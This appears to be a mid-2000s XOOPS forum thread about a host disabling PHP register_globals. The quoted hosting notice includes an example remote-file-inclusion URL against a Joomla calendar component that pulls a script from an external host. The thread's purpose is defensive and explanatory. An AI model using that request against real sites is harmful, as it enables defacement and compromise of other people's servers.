My hosting company just notified me that there will be a PHP Register Globals Change from "ON" to "OFF".

Is this going to affect my XOOPS website? What do i do ?

Help pleasee.

Thanks in advance

the presise information is below




"We will be making a server configuration change related to PHP Register Globals at
the date below. If you are NOT using PHP for your website you can disregard this
notice. Currently PHP Register Globals is set to ON across our entire network of servers
and will be changed to OFF. You will find a mini FAQ regarding this change below.

Server: Blanco
Change Date: Wednesday October 4, 2006

Why are we making this change?

When Register Globals is ON, you can overwrite variables in PHP scripts by appending
them to the URL, e.g. script.php?myvar=42 would define a variable myvar with the
value of 42. Depending on how your script works this could be a security risk which was
the case with many of the scripts within Fantastcio being hacked/compromised.

An example was Mambo/Joomla scripts being exploited by including the following in
the requested URL:

components/com_extcalendar/extcalendar.php?mosConfig_absolute_path=http://*****.com/oki/lol.txt?

The example above shows how easy it is to call an external script by using the
calender component in Jooma to deface the website. PHP has set Register Globals default
value to OFF since version 4.2.0 as noted here in the first line:
http://us3.php.net/register_globals.

What can happen as a result of this change?

Old/outdated scripts still depending on Register Globals to be ON will have problems
as those scripts need Register Globals to be on in order to work.

What can be done to prevent/resolve any problems caused as a result of this change?

Most scripts have dropped the need of Register Globals to be ON or have custom
workarounds to this issue. Upgrading to the latest version of the script could possibly
resolve any problems caused by this change. We also recommend contacting your script
developer if you're unsure to see if Register Globals turned ON is a requirement.
Other solutions include:

1- Contacting your script developer to make changes to the script so it does not
rely on Register Globals to be enabled.

2- If your scripts need Register Globals enabled for the use of GET/POST/COOKIE
variables then you can add the following in the fileheader:

import_request_variables('GPC');

If you need other variables like SERVER use the function extract().

3- If you need Register Globals ON then you can upload a custom php.ini file in your
scripts directory to negate this change (this means your scripts will be vulnerable
to being exploited). You can find a custom php.ini file at the URL below with
Register Globals turned ON. Simply upload it to your scripts directory and name it php.ini
to override the change on the server."*/

There shouldnt be any problems.

Register Globals should be Off for security reasons anyway (which they actually point out to you). So if anything you may benefit.

There won't be any problems with the XOOPS core, but there could be problems with modules.

Which modules do you use?

the modules i use include

1- news 1.1
2- mxdirectory 2
3- xoopspoll 1
4- newbb 1
5- marque
6- spotlight2.2
7- multimenu 1.74
8- xcgal 2
9- agendax2.2
10- zmagazine 1

These are the modules

please advice.

Thanks

Nope you are fine.

You may want to consider installing protector. Which will check to ensure globals are infact off. As well as other security protocols.

http://www.peak.ne.jp/xoops/md/mydownloads/singlefile.php?lid=56&cid=1

So far other then some weird modules I think most work, with globals off...

Ya, any module that wants you to turn globals on... isnt really a module worth using.

I noticed the other day that OSCommerce now requires Globals to be on..... Why in the HE77 would you want a commerce portal with such vulnerabilities.